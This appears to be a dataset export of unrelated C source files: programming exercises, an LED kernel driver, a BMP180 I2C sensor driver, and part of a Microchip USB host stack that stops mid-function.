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classes | length_bytes int64 3 10.3M | extension stringclasses 119
values | content stringlengths 3 10.3M | authors listlengths 1 1 | author_id stringlengths 0 228 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9cd06607916799ba2ba98668975dc756ae1174fb | ef8bf1e486e42a5e9cb9dca85df477d0d379b3df | /Pattern Printing/Assignment No-01/09.Pattern.c | f3b93dee229fcdf0e0854235b15dfb28168b6cf9 | [] | no_license | SayaliPatil04/C-Programming | a045ca3f693dafd7e96196619b378b6bf0f539b9 | 50b3724dc45077c8ff9421871f9e1a81ecc87379 | refs/heads/main | 2023-03-18T23:10:44.388939 | 2021-03-13T14:10:11 | 2021-03-13T14:10:11 | 334,660,630 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 804 | c | #include<stdio.h>
#include<conio.h>
int main()
{
int i=0,j=0,c=0;
int No=0,Temp=0;
printf("\n Enter a value for pattern: ");
scanf("%d",&c);
printf("\n Enter number to print table in column format: ");
scanf("%d",&No);
Temp=No;
printf("\n......................pattern...................\n\n");
for(i=1;i<=c;i++)
{
No=Temp;
for(j=1;j<=c;j++)
{
if(i>=j)
{
printf(" %-3d ",No);
No=No+Temp;
}
else
{
printf(" ");
}
}
printf("\n");
}
printf("\n................................................\n");
getch();
return 0;
}
| [
"noreply@github.com"
] | SayaliPatil04.noreply@github.com |
b0504f07418310c5cf64f48bdb6b751f91dd000c | f3c2026baf2ec2e56fc76181ff0e6d756a08e0d1 | /oldstudycode/driver/led/myled.c | 4a08bfee5b65d8c5e11e4d6240deaad7b1104720 | [] | no_license | Lava-Liu/media | 9572e8bece6187c26e122d02481a886e9a9f6f07 | ab77d860889655c899206a032462266dd5a42d84 | refs/heads/master | 2023-02-04T16:25:50.091020 | 2019-12-12T01:27:31 | 2019-12-12T01:27:31 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,439 | c | /* ==================================================================
* Filename: myled.c
* Description:
* Created: 2013年10月22日 16时31分54秒
* Compiler: gcc/g++
* Author: Star (Liu Wei), 384439695@qq.com
* Company: 昆山杰普科技有限公司
* ==================================================================*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/moduleparam.h>
#include <asm/uaccess.h>
#include <linux/device.h>
#include <asm/io.h>
#include "myled.h"
MODULE_LICENSE("Dual BSD/GPL");
typedef struct led_dev
{
struct cdev cdev;
unsigned int* ctrl_reg;//0x56000010
unsigned int* data_reg;//0x56000014
struct class *cls;
struct device *dev;
}global_dev;
global_dev* devp = NULL;
static int led_open(struct inode* inode, struct file* file)
{
//获取描述设备的结构体
global_dev *dev = container_of(inode->i_cdev, struct led_dev, cdev);
//数据私有化
file->private_data = dev;
if((file->f_flags & O_ACCMODE)==O_WRONLY)
{
file->f_pos = 0;
}
printk(KERN_INFO"open led successful!\n");
return 0;
}
static int led_close(struct inode* inode , struct file* file )
{
printk(KERN_INFO"led_close() invoke!\n");
return 0;
}
static void led_setup(unsigned long num, int p)
{
unsigned int t = ioread32(devp->data_reg);
if(p)
{//LED light
unsigned int v = ~(0x1 << (num + 4));
t &= v;
}else
{//LED shadow
unsigned int v = 0x1<< (num+4) ;
t |=v;
}
iowrite32(t, devp->data_reg);
}
static int led_ioctl(struct inode* inode, struct file* file , unsigned int cmd, unsigned long arg)
{
int ret = 0;
switch(cmd)
{
case LED_ON:
led_setup(arg, 1);
break;
default:
led_setup(arg, 0);
break;
}
return ret;
}
static const struct file_operations fops =
{
.owner = THIS_MODULE,
.open = led_open,
.release = led_close,
.ioctl = led_ioctl,
};
static int __init led_init(void)
{
int ret = 0;
//临时保存控制寄存器的控制数据
unsigned int out = 0;
dev_t devno = MKDEV(major, 0);
//获取LED设备的设备编号
ret = register_chrdev_region(devno, 1, led_name);
if(ret < 0)
{
printk(KERN_ERR"register_chrdev_region error!\n");
ret = alloc_chrdev_region(&devno, 0, 1, led_name);
if(ret < 0)
{
printk(KERN_ERR"alloc error !\n");
return -EBUSY;
}
}
printk(KERN_INFO"register success!\n");
major = MAJOR(devno);
//为设备分配内存
devp = (global_dev *)kmalloc(sizeof(global_dev), GFP_KERNEL);
if(devp == NULL)
{
printk(KERN_ERR"kmalloc error!\n");
goto err1;
}else{
printk(KERN_INFO"kmalloc success!\n");
}
//3、建立控制寄存器和数据寄存器的映射
devp->ctrl_reg = (unsigned int *)ioremap(0x56000010, 4);
devp->data_reg = (unsigned int* )ioremap(0x56000014, 4);
//4、设置led的控制位
out |=(0x01 << 10) | (0x01 << 12) | (0x01 << 14) | (0x01 << 16);
iowrite32(out, devp->ctrl_reg);
//5、初始化具体设备在系统中的通用描述
cdev_init(&devp->cdev, &fops);
devp->cdev.owner = THIS_MODULE;
devp->cdev.ops = &fops;
//6、将通用设备描述添加到内核管理列表
if(cdev_add(&devp->cdev, devno, 1))
{
printk(KERN_ERR"cdev_add error!\n");
goto err2;
}else{
printk(KERN_INFO"cdev_add success!\n");
}
//7.在sysfs中自动创建设备类别
devp->cls=class_create(THIS_MODULE, led_name);
if(devp->cls == NULL)
{
printk(KERN_ERR"class_create error!\n");
goto warn;
}
//8、在sysfs中自动创建设备个体并创建设备文件
devp->dev = device_create(devp->cls, NULL, devno, NULL, "%s%d", led_name, MINOR(devno));
if(NULL == devp->dev)
{
printk(KERN_ERR"device_create errpr!\n");
}else{
printk(KERN_INFO"auto create success!\n");
}
return 0;
warn:
return 0;
err2:
iounmap(devp->ctrl_reg);
iounmap(devp->data_reg);
kfree(devp);
devp = NULL;
err1:
unregister_chrdev_region(devno, 1);
return -ENOMEM;
}
static void __exit led_exit(void)
{
device_destroy(devp->cls,MKDEV(major, 0) );
class_destroy(devp->cls);
cdev_del(&devp->cdev);
iounmap(devp->ctrl_reg);
iounmap(devp->data_reg);
kfree(devp);
devp = NULL;
unregister_chrdev_region(MKDEV(major, 0), 1);
printk("led_exit() invoked!\n");
}
module_param(counter, int , 0644);
module_param(led_name, charp, 0644);
module_param(major, int, 0644);
module_init(led_init);
module_exit(led_exit);
| [
"silence@silence-VirtualBox.(none)"
] | silence@silence-VirtualBox.(none) |
81ca03a43cdbcf6e2871ad296dbf43b4e5515293 | d96658d8b28125f621bd7c3468c56ff912747b67 | /Drivers/i2c/driver_i2c_soft/driver_i2c_soft.c | cd679411a5e672a44c270d6ab1ed6df9f0e16373 | [] | no_license | yehangyang/stm32_general_utils | f3e7d3fd4a65cc01bc2bfea0300cb16a0b79fd72 | 207612fb8b76ba6237cbd70e207440838ed6c7a2 | refs/heads/master | 2021-06-17T09:50:39.316150 | 2017-06-07T07:23:38 | 2017-06-07T07:23:38 | null | 0 | 0 | null | null | null | null | GB18030 | C | false | false | 8,304 | c | #include "i2c_soft.h"
#include "delay.h" //调用了延时函数
#include "usart.h"
#include <math.h>
//SCL -> PC1
//SDA -> PC2
#define SCL_H() GPIO_SetBits(GPIOC, GPIO_Pin_1)
#define SCL_L() GPIO_ResetBits(GPIOC, GPIO_Pin_1)
#define SDA_H() GPIO_SetBits(GPIOC, GPIO_Pin_2)
#define SDA_L() GPIO_ResetBits(GPIOC, GPIO_Pin_2)
#define SDA GPIO_ReadInputDataBit(GPIOC,GPIO_Pin_2)
#define BMP180_SlaveAddr 0xee //BMP180的器件地址
//BMP180校准系数
int16_t AC1;
int16_t AC2;
int16_t AC3;
uint16_t AC4;
uint16_t AC5;
uint16_t AC6;
int16_t B1;
int16_t B2;
int16_t MB;
int16_t MC;
int16_t MD;
u8 BMP180_ID = 0; //BMP180的ID
float True_Temp = 0; //实际温度,单位:℃
float True_Press = 0; //实际气压,单位:Pa
float True_Altitude = 0; //实际高度,单位:m
/*外部芯片IIC引脚初始化
*SCL:PC1
*SDA:PC2
*/
void IIC_PortInit(void)
{
GPIO_InitTypeDef GPIO_InitStructure; //定义一个GPIO_InitTypeDef类型的结构体
GPIO_InitStructure.GPIO_Pin = (GPIO_Pin_1 | GPIO_Pin_2); //PC1,PC2
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_OD; //漏极开漏
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_Init(GPIOC, &GPIO_InitStructure);
GPIO_SetBits(GPIOC, GPIO_Pin_1 | GPIO_Pin_2); //拉高
}
void IIC_Init(void)
{
SCL_H(); //SCL = 1;
delay_us(5);
SDA_H(); //SDA = 1;
delay_us(5);
}
void IIC_Start(void)
{
SDA_H(); //SDA = 1;
delay_us(5);
SCL_H(); //SCL = 1;
delay_us(5);
SDA_L(); //SDA = 0;
delay_us(5);
}
void IIC_Stop(void)
{
SDA_L(); //SDA = 0;
delay_us(5);
SCL_H(); //SCL = 1;
delay_us(5);
SDA_H(); //SDA = 1;
delay_us(5);
}
unsigned char IIC_ReceiveACK(void)
{
unsigned char ACK;
SDA_H(); //SDA=1;//要读低电平需先拉高再读,否则读到的是错误数据,很重要！
SCL_H(); //SCL=1;
delay_us(5);
if (SDA == 1) //SDA为高
{
ACK = 1;
}
else ACK = 0; //SDA为低
SCL_L(); //SCL = 0;//SCL为低电平时SDA上的数据才允许变化,为传送下一个字节做准备
delay_us(5);
return ACK;
}
void IIC_SendACK(unsigned char ack)
{
if (ack == 1)SDA_H();
else if (ack == 0)SDA_L();
//SDA = ack;
SCL_H(); //SCL = 1;
delay_us(5);
SCL_L(); //SCL = 0;
delay_us(5);
}
unsigned char IIC_SendByte(unsigned char dat)
{
unsigned char i;
unsigned char bResult = 1;
SCL_L(); //SCL = 0;//拉低时钟线
delay_us(5);
for( i = 0; i < 8; i++ ) //一个SCK,把dat一位一位的移送到SDA上
{
if( (dat << i) & 0x80 )SDA_H(); //SDA = 1;//先发高位
else SDA_L(); //SDA = 0;
delay_us(5);
SCL_H(); //SCL = 1;
delay_us(5);
SCL_L(); //SCL = 0;
delay_us(5);
}
bResult = IIC_ReceiveACK(); //发送完一个字节的数据,等待接受应答信号
return bResult; //返回应答信号
}
unsigned char IIC_ReadByte(void)
{
unsigned char dat;
unsigned char i;
SCL_H(); //SCL = 1;//始终线拉高为读数据做准备
delay_us(5);
for( i = 0; i < 8; i++ )
{
dat <<= 1;
dat = dat | (SDA);
delay_us(5);
SCL_L(); //SCL = 0;
delay_us(5);
SCL_H(); //SCL = 1;
delay_us(5);
}
return dat;
}
/*从BMP180中读1个字节的数据*/
u8 BMP180_ReadOneByte(u8 ReadAddr)
{
u8 temp = 0;
u8 IIC_ComFlag = 1; //IIC通信标志,为0标志正常,1表示通信错误
IIC_Start(); //IIC start
IIC_ComFlag = IIC_SendByte(BMP180_SlaveAddr); //slave address+W:0
//printf("IIC_ComFlag=%u \r\n",IIC_ComFlag);
if (IIC_ComFlag == 0) //返回值为0表示通信正常,可以继续通信。否则不通信了
{
IIC_SendByte(ReadAddr); //发送命令代码
IIC_Start();
IIC_SendByte(BMP180_SlaveAddr | 0x01); //slave address+R:1
temp = IIC_ReadByte(); //读数据
IIC_SendACK(1);
IIC_Stop();
}
return (temp);
}
/*从BMP180中读2个字节的数据*/
int16_t BMP180_ReadTwoByte(u8 ReadAddr)
{
u8 IIC_ComFlag = 1; //IIC通信标志,为0标志正常,1表示通信错误
u8 MSB, LSB;
int16_t temp;
IIC_Start();
IIC_ComFlag = IIC_SendByte(BMP180_SlaveAddr);
if (IIC_ComFlag == 0)
{
IIC_SendByte(ReadAddr);
IIC_Start();
IIC_SendByte(BMP180_SlaveAddr | 0x01);
MSB = IIC_ReadByte(); //先读高位
IIC_SendACK(0); //ACK
LSB = IIC_ReadByte(); //再读低位
IIC_SendACK(1); //NACK
IIC_Stop();
}
temp = MSB * 256 + LSB;
return temp;
}
/*向BMP180的寄存器写一个字节的数据*/
void Write_OneByteToBMP180(u8 RegAdd, u8 Data)
{
IIC_Start(); //IIC start
IIC_SendByte(BMP180_SlaveAddr); //slave address+W:0
IIC_SendByte(RegAdd);
IIC_SendByte(Data);
IIC_Stop();
}
/*读取BMP180的校准系数*/
void Read_CalibrationData(void)
{
AC1 = BMP180_ReadTwoByte(0xaa);
AC2 = BMP180_ReadTwoByte(0xac);
AC3 = BMP180_ReadTwoByte(0xae);
AC4 = BMP180_ReadTwoByte(0xb0);
AC5 = BMP180_ReadTwoByte(0xb2);
AC6 = BMP180_ReadTwoByte(0xb4);
B1 = BMP180_ReadTwoByte(0xb6);
B2 = BMP180_ReadTwoByte(0xb8);
MB = BMP180_ReadTwoByte(0xba);
MC = BMP180_ReadTwoByte(0xbc);
MD = BMP180_ReadTwoByte(0xbe);
printf("AC1:%d \r\n", AC1);
printf("AC2:%d \r\n", AC2);
printf("AC3:%d \r\n", AC3);
printf("AC4:%d \r\n", AC4);
printf("AC5:%d \r\n", AC5);
printf("AC6:%d \r\n", AC6);
printf("B1:%d \r\n", B1);
printf("B2:%d \r\n", B2);
printf("MB:%d \r\n", MB);
printf("MC:%d \r\n", MC);
printf("MD:%d \r\n", MD);
}
/*读BMP180没有经过补偿的温度值*/
int32_t Get_BMP180UT(void)
{
int32_t UT;
Write_OneByteToBMP180(0xf4, 0x2e); //write 0x2E into reg 0xf4
delay_ms(10); //wait 4.5ms
UT = BMP180_ReadTwoByte(0xf6); //read reg 0xF6(MSB),0xF7(LSB)
printf("UT:%ld \r\n", UT);
return UT;
}
/*读BMP180没有经过补偿的压力值*/
int32_t Get_BMP180UP(void)
{
int32_t UP = 0;
Write_OneByteToBMP180(0xf4, 0x34); //write 0x34 into reg 0xf4
delay_ms(10); //wait 4.5ms
UP = BMP180_ReadTwoByte(0xf6);
UP &= 0x0000FFFF;
printf("UP:%ld \r\n", UP);
return UP;
}
/*把未经过补偿的温度和压力值转换为时间的温度和压力值
*True_Temp:实际温度值,单位:℃
*True_Press:时间压力值,单位:Pa
*True_Altitude:实际海拔高度,单位:m
*/
void Convert_UncompensatedToTrue(long UT, long UP)
{
long X1, X2, X3, B3, B5, B6, B7, T, P;
unsigned long B4;
X1 = ((UT - AC6) * AC5) >> 15; //printf("X1:%ld \r\n",X1);
X2 = ((long)MC << 11) / (X1 + MD); //printf("X2:%ld \r\n",X2);
B5 = X1 + X2; //printf("B5:%ld \r\n",B5);
T = (B5 + 8) >> 4; //printf("T:%ld \r\n",T);
True_Temp = T / 10.0;
printf("Temperature:%.1f \r\n", True_Temp);
B6 = B5 - 4000; //printf("B6:%ld \r\n",B6);
X1 = (B2 * B6 * B6) >> 23; //printf("X1:%ld \r\n",X1);
X2 = (AC2 * B6) >> 11; //printf("X2:%ld \r\n",X2);
X3 = X1 + X2; //printf("X3:%ld \r\n",X3);
B3 = (((long)AC1 * 4 + X3) + 2) / 4; //printf("B3:%ld \r\n",B3);
X1 = (AC3 * B6) >> 13; //printf("X1:%ld \r\n",X1);
X2 = (B1 * (B6 * B6 >> 12)) >> 16; //printf("X2:%ld \r\n",X2);
X3 = ((X1 + X2) + 2) >> 2; //printf("X3:%ld \r\n",X3);
B4 = AC4 * (unsigned long)(X3 + 32768) >> 15; //printf("B4:%lu \r\n",B4);
B7 = ((unsigned long)UP - B3) * 50000; //printf("B7:%lu \r\n",B7);
if (B7 < 0x80000000)
{
P = (B7 * 2) / B4;
}
else P = (B7 / B4) * 2; //printf("P:%ld \r\n",P);
X1 = (P / 256.0) * (P / 256.0); //printf("X1:%ld \r\n",X1);
X1 = (X1 * 3038) >> 16; //printf("X1:%ld \r\n",X1);
X2 = (-7357 * P) >> 16; //printf("X2:%ld \r\n",X2);
P = P + ((X1 + X2 + 3791) >> 4); //printf("P:%ld \r\n",P);
True_Press = P;
printf("Press:%.1fPa \r\n", True_Press);
True_Altitude = 44330 * (1 - pow((P / 101325.0), (1.0 / 5.255)));
printf("Altitude:%.3fm \r\n", True_Altitude);
} | [
"yehangyang@qq.com"
] | yehangyang@qq.com |
589b52923737da00d079e2fc8ea754c384f95dd9 | 593b2c1fcd44e00614b5af77c436dd038704a4c5 | /WithIo/Qt/VidyoIoWrapper/VidyoClient-WindowsSDK/include/Lmi/VidyoClient/VidyoRoomPropertiesInline.h | ab316a2317c93b76650de32e69c69d89058f8648 | [] | no_license | vidyoworks/VidyoWorksSamples | 2eed56133a55d7688efd27feb699de9f5c856850 | 6097e9d30b2d1b3c0e25effbaed186f9c715eba1 | refs/heads/master | 2021-01-20T15:26:51.017321 | 2020-09-22T10:45:08 | 2020-09-22T10:45:08 | 93,974,728 | 9 | 15 | null | 2019-06-21T09:54:14 | 2017-06-11T01:28:13 | C | UTF-8 | C | false | false | 563 | h | /**
{file:
{name: VidyoRoomPropertiesInline.h}
{description: }
{copyright:
(c) 2014-2015 Vidyo, Inc.,
433 Hackensack Avenue,
Hackensack, NJ 07601.
All rights reserved.
The information contained herein is proprietary to Vidyo, Inc.
and shall not be reproduced, copied (in whole or in part), adapted,
modified, disseminated, transmitted, transcribed, stored in a retrieval
system, or translated into any language in any form by any means
without the express written consent of Vidyo, Inc.
***** CONFIDENTIAL *****
}
}
*/ | [
"Dinesh@vidyo.com"
] | Dinesh@vidyo.com |
acf35154724ecf542f5fc9735d15c9015c5206e7 | acea543810fa0a368b66206587ead73a70b5bedd | /C/1589.c | a9be0ab1f6ae778d078f7b2743af4e67b5a5706c | [
"MIT"
] | permissive | bmviniciuss/URI | ea7575c0fcbee0317153219c49e7549ef6a20886 | cb57027e8b5f5309eb90770fb6028ffad1c703de | refs/heads/master | 2021-09-09T16:20:45.338234 | 2018-03-17T22:38:34 | 2018-03-17T22:38:34 | 105,489,368 | 4 | 1 | null | 2018-01-28T08:53:27 | 2017-10-02T01:58:58 | C | UTF-8 | C | false | false | 289 | c | //1589 - Bob Conduite
#include <stdio.h>
int main(){
int casos, i;
int raio1, raio2, raioC;
scanf("%d", &casos);
for(i = 0; i < casos; i++){
scanf("%d %d", &raio1, &raio2);
raioC = raio1 + raio2;
printf("%d\n", raioC);
}
return 0;
}
| [
"bmvinicius11@gmail.com"
] | bmvinicius11@gmail.com |
7be1b2e370f69cd98e0668948679e9fccc5b1277 | 690428b06e10f1e85407de775a4b2a34ed29b703 | /apps/host/hid_basic_mouse_usart/firmware/src/config/sam_d21_xpro/usb/src/usb_host.c | c1394bef54a9185dfccbef55afb95fa75272c73f | [
"LicenseRef-scancode-unknown-license-reference",
"ISC",
"LicenseRef-scancode-public-domain"
] | permissive | fb321/usb | e7b2898c83083e3447e01f0fa0d06155426691e0 | 69c122c92fc9db946021e7b4e0166cd95d704f66 | refs/heads/master | 2020-06-27T13:35:37.380300 | 2019-07-11T17:07:26 | 2019-07-11T17:22:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 286,944 | c | /*******************************************************************************
USB Host Layer Implementation.
Company:
Microchip Technology Inc.
File Name:
usb_host.c
Summary:
This file contains implementations of both private and public functions
of the USB Host Layer.
Description:
This file contains the USB host layer implementation. This file should be
included in the project if USB Host functionality is desired.
*******************************************************************************/
//DOM-IGNORE-BEGIN
/*******************************************************************************
* Copyright (C) 2018 Microchip Technology Inc. and its subsidiaries.
*
* Subject to your compliance with these terms, you may use Microchip software
* and any derivatives exclusively with Microchip products. It is your
* responsibility to comply with third party license terms applicable to your
* use of third party software (including open source software) that may
* accompany Microchip software.
*
* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER
* EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED
* WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A
* PARTICULAR PURPOSE.
*
* IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE,
* INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND
* WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS
* BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE
* FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN
* ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,
* THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.
*******************************************************************************/
//DOM-IGNORE-END
// *****************************************************************************
// *****************************************************************************
// Section: Included Files
// *****************************************************************************
// *****************************************************************************
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include "usb/src/usb_external_dependencies.h"
#include "usb/usb_common.h"
#include "usb/usb_chapter_9.h"
#include "usb/usb_host.h"
#include "usb/src/usb_host_local.h"
#include "usb/src/usb_host_hub_mapping.h"
#include "osal/osal.h"
// *****************************************************************************
// *****************************************************************************
// Section: Global Data
// *****************************************************************************
// *****************************************************************************
/*******************************************************
* Host layer object. There is only such object because
* multiple host controller will be controlled by only
* one host layer.
*******************************************************/
static USB_HOST_OBJ gUSBHostObj;
/*************************************************************
* Host bus objects. One object per bus on in other words
* one object per host controller. The index of the bus object
* is also the bus number. Hence bus object at index 1 in this
* array will be bus 1.
*************************************************************/
static USB_HOST_BUS_OBJ gUSBHostBusList[USB_HOST_CONTROLLERS_NUMBER];
/************************************************************
* Host device Objects. One object per attached device. This
* array tracks the attached device. Additional device objects
* are needed for root hubs.
************************************************************/
static USB_HOST_DEVICE_OBJ gUSBHostDeviceList [ USB_HOST_CONTROLLERS_NUMBER + USB_HOST_DEVICES_NUMBER ];
/************************************************************
* Array of Pipe Objects. These pipes will be used by all the
* client drivers that needs to access attached devices. This
* array is a shared pool. Pipe object are assigned to client
* drivers when client driver open pipes.
************************************************************/
static USB_HOST_PIPE_OBJ gUSBHostPipeObj[ USB_HOST_PIPES_NUMBER ];
/************************************************************
* Array of transfer object. Each object tracks one transfer.
* This array is a shared pool. Transfer objects are assigned
* to client driver transfer requests.
************************************************************/
static USB_HOST_TRANSFER_OBJ gUSBHostTransferObj[ USB_HOST_TRANSFERS_NUMBER ];
// *****************************************************************************
// *****************************************************************************
// Section: USB HOST Layer Local Functions
// *****************************************************************************
// *****************************************************************************
// *****************************************************************************
/* Function:
void * _USB_HOST_TimerCallback
(
uint32_t context
)
Summary:
Function is called when the SYS_TMR_CallbackSingle expires.
Description:
Function is called when the SYS_TMR_CallbackSingle expires.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_TimerCallback(uintptr_t context)
{
USB_HOST_BUS_OBJ * busObj = ((USB_HOST_BUS_OBJ *)(context));
busObj->timerExpired = true;
SYS_TIME_TimerDestroy (busObj->busOperationsTimerHandle);
busObj->busOperationsTimerHandle = SYS_TIME_HANDLE_INVALID;
}
// *****************************************************************************
/* Function:
void * _USB_HOST_FindEndOfDescriptor(void * descriptor)
Summary:
Function finds the end of descriptor marker and returns the pointer to where
the marker has started.
Description:
Function finds the end of descriptor marker and returns the pointer to where
the marker has started.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void * _USB_HOST_FindEndOfDescriptor(void * descriptor)
{
uint8_t * search;
void * result = NULL;
int foundMarkers = 0;
if(descriptor == NULL)
{
result = NULL;
}
else
{
search = (uint8_t *)(descriptor);
while(foundMarkers < 7)
{
if(*search == 0xFF)
{
/* Found a marker */
foundMarkers ++;
if(foundMarkers == 1)
{
/* This is the first marker we found. Save the memory
* location */
result = search;
}
}
else
{
/* Reset the result */
foundMarkers = 0;
result = NULL;
}
search ++;
}
}
return(result);
}
// *****************************************************************************
/* Function:
void _USB_HOST_RootHubEventDisable(void)
Summary:
Disables all root hub events.
Description:
This function will disable all root hub events.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_RootHubEventDisable(void)
{
int iterator;
USB_HOST_BUS_OBJ * busObj;
for(iterator = 0; iterator < USB_HOST_CONTROLLERS_NUMBER; iterator ++)
{
busObj = &gUSBHostBusList[iterator];
/* Disable the event. Save the event status */
busObj->eventsStatusRestore = busObj->hcdInterface->hostEventsDisable(busObj->hcdHandle);
}
}
// *****************************************************************************
/* Function:
void _USB_HOST_RootHubEventEnable(void)
Summary:
Enables all root hub events.
Description:
This function will enables all root hub events.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_RootHubEventEnable(void)
{
int iterator;
USB_HOST_BUS_OBJ * busObj;
for(iterator = 0; iterator < USB_HOST_CONTROLLERS_NUMBER; iterator ++)
{
busObj = &gUSBHostBusList[iterator];
/* Restore the events to what their status was when they were disabled */
busObj->hcdInterface->hostEventsEnable(busObj->hcdHandle, busObj->eventsStatusRestore);
}
}
// *****************************************************************************
/* Function:
bool _USB_HOST_NoInterfacesOwned
(
USB_HOST_DEVICE_OBJ * deviceObj,
);
Summary:
This function will return true if no interface have been owned and search
has reach end of TPL.
Description:
This function will return true if no interface have been owned and search
has reach end of TPL. It will return false if at least one interface is
claimed or if all the interfaces are empty.
Remarks:
This is a local function and should not be called directly by the
application.
*/
bool _USB_HOST_NoInterfacesOwned
(
USB_HOST_DEVICE_OBJ * deviceObj
)
{
bool result = false;
USB_HOST_INTERFACE_DESC_INFO * interfaceInfo;
int iterator;
/* Check every interface in this device */
for(iterator = 0; iterator < USB_HOST_DEVICE_INTERFACES_NUMBER; iterator ++)
{
interfaceInfo = &(deviceObj->configDescriptorInfo.interfaceInfo[iterator]);
if(interfaceInfo->interfaceDescriptor != NULL)
{
/* Interface has valid interface descriptor. Check if is owned */
if((interfaceInfo->interfaceDriver == NULL) && (interfaceInfo->tplEntryMatched >= gUSBHostObj.nTPLEntries))
{
/* This means all the driver were tried and this interface was
* not owned */
result = true;
}
else
{
/* Either the interface is claimed or all TPL entries have
* not been searched */
result = false;
break;
}
}
}
return(result);
}
// *****************************************************************************
/* Function:
void _USB_HOST_UpdateInterfaceStatus
(
USB_HOST_DEVICE_OBJ * deviceObj,
int busIndex
);
Summary:
This function will update status of the interfaces.
Description:
This function will update the status of the interfaces. If a interface is
not assigned it is either assigned to the device level driver or it is
assigned to an interface driver. The function will call the tasks routines
of the interface driver. It checks if the all device is not owned at all
then it will move the device to an error state.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_UpdateInterfaceStatus
(
USB_HOST_DEVICE_OBJ * deviceObj,
int busIndex
)
{
USB_HOST_BUS_OBJ * busObj;
USB_HOST_INTERFACE_DESC_INFO * interfaceInfo, * interfaceInfoIterator;
USB_HOST_DEVICE_INTERFACE_HANDLE interfaceHandles[USB_HOST_DEVICE_INTERFACES_NUMBER];
USB_INTERFACE_DESCRIPTOR * interfaceDescriptor;
USB_INTERFACE_ASSOCIATION_DESCRIPTOR * interfaceAssociation;
int iterator, iadIterator;
busObj = &(gUSBHostBusList[busIndex]);
/* This redundant statement is added to avoid warning in a case where the
* debug messages are disabled. */
busObj = busObj;
if((deviceObj->deviceState == USB_HOST_DEVICE_STATE_READY) &&
(deviceObj->configDescriptorInfo.configurationNumber > 0) &&
(deviceObj->configDescriptorInfo.configurationNumber != USB_HOST_CONFIGURATION_NUMBER_INVALID))
{
/* This means that the device is in a running state and the device is
* configured */
for(iterator = 0; iterator < deviceObj->nInterfaces ; iterator ++)
{
interfaceInfo = &deviceObj->configDescriptorInfo.interfaceInfo[iterator];
if(interfaceInfo->interfaceDriver != NULL)
{
/* The interface is owned. Run the tasks routine of this driver */
interfaceInfo->interfaceDriver->interfaceTasks(interfaceInfo->interfaceHandle);
}
else
{
/* Driver is not assigned. Check if this device has a device
* level driver and that this interface has not already been
* tried with that driver */
if((deviceObj->deviceClientDriver != NULL) && (!interfaceInfo->wasTriedWithDeviceDriver))
{
/* The device is owned and the interface has not been tried
* yet with the device driver. Call the interface assign
* function of the device client driver */
if(interfaceInfo->interfaceAssociationDescriptor != NULL)
{
/* IAD Case. Prepare the table of interfaces and assign
* all of them to the same driver */
interfaceInfoIterator = interfaceInfo;
iadIterator = 0;
while(interfaceInfoIterator != NULL)
{
/* Add the handle of this interface to the interface
* table. Assign the device level driver to all
* interfaces. */
interfaceHandles[iadIterator] = interfaceInfoIterator->interfaceHandle;
interfaceInfoIterator->interfaceDriver = deviceObj->deviceClientDriver;
interfaceInfoIterator->wasTriedWithDeviceDriver = true;
iadIterator ++;
interfaceInfoIterator = interfaceInfoIterator->nextInterface;
}
/* Now the interfaceHandles table has the handles of all
* the interfaces in this IAD. Call the device client
* driver interface assign function with this table. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Assigning IAD group to device driver", busIndex, deviceObj->deviceAddress);
deviceObj->deviceClientDriver->interfaceAssign(interfaceHandles,
deviceObj->deviceIdentifier, iadIterator, (uint8_t *)(interfaceInfo->interfaceAssociationDescriptor));
}
else if(interfaceInfo->interfaceDescriptor != NULL)
{
/* Non IAD case. Prepare the interface handle table. In
* case of a non IAD this will be one interface and
* hence one handle only. */
interfaceHandles[0] = interfaceInfo->interfaceHandle;
/* We assign the driver before calling the
* interfaceAssign function. This will allow the client
* to release the interface if it chooses to and the host
* will try re-matching the interface. */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Assigning interface to device driver", busIndex, deviceObj->deviceAddress);
interfaceInfo->interfaceDriver = deviceObj->deviceClientDriver;
deviceObj->deviceClientDriver->interfaceAssign(interfaceHandles,
deviceObj->deviceIdentifier, 1, (uint8_t *)(interfaceInfo->interfaceDescriptor));
/* Set the flag indicating this was tried with device
* driver. */
interfaceInfo->wasTriedWithDeviceDriver = true;
}
}
else
{
/* This means the interface driver is never assigned, or if
* there is a client driver it has released the interface,
* or there isn't a device level client driver. Check the
* TPL for a match. Has this searched reached the end of the
* TPL table */
if(interfaceInfo->tplEntryMatched < gUSBHostObj.nTPLEntries)
{
